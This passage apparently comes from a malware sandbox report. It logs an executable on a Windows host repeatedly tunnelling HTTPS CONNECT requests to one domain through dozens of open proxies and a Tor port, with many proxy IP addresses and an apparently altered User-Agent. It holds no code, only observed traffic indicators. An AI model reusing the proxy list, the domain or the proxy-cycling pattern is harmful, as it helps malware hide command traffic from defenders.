1692	192.168.2.9	55141	74.118.80.244	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.783710003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1693	192.168.2.9	55154	14.232.235.13	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.788067102 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:11.148288012 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1694	192.168.2.9	55155	211.222.252.187	8197	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.788563013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1695	192.168.2.9	55140	110.76.129.229	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.788697958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1696	192.168.2.9	53858	152.230.215.123	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.789725065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.887603045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.888221025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:22.888190031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:34.891191959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:46.887557030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:58.887479067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:22.903146029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1697	192.168.2.9	53964	51.158.76.35	16379	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.789994001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.825397015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.825737953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:22.825558901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:34.826930046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1698	192.168.2.9	51508	37.187.73.7	64052	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.790923119 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.827003956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.825706959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:22.825812101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:34.826906919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:46.825081110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:58.825025082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:22.840629101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:10.856128931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1699	192.168.2.9	53789	197.211.24.206	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.793682098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1700	192.168.2.9	53874	201.71.3.62	999	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.867515087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.144541979 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1701	192.168.2.9	54012	186.96.50.20	999	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.868872881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.666851997 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1702	192.168.2.9	51753	51.79.87.144	54395	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.870745897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.934556961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1703	192.168.2.9	55160	190.239.23.33	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.899249077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1704	192.168.2.9	55159	202.166.219.80	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.985982895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1705	192.168.2.9	51468	193.158.12.138	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.999068975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1706	192.168.2.9	51799	185.109.184.150	56067	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.080071926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.137795925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.138493061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:23.138295889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:35.139216900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:47.231273890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:59.340733051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:23.340702057 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:11.340502024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1707	192.168.2.9	55146	72.49.49.11	31034	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.081665039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1708	192.168.2.9	53969	8.210.158.189	9061	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.087565899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.504194021 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1709	192.168.2.9	51618	121.140.63.249	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.100493908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.117455006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.200455904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:23.200998068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1710	192.168.2.9	51937	162.240.239.103	42771	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.100948095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.137824059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1711	192.168.2.9	55099	185.236.46.221	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.102322102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1712	192.168.2.9	55162	80.232.253.108	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.102328062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1713	192.168.2.9	51637	83.228.47.75	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.104964972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1714	192.168.2.9	55169	104.200.152.30	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.105894089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1715	192.168.2.9	55110	178.236.246.53	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
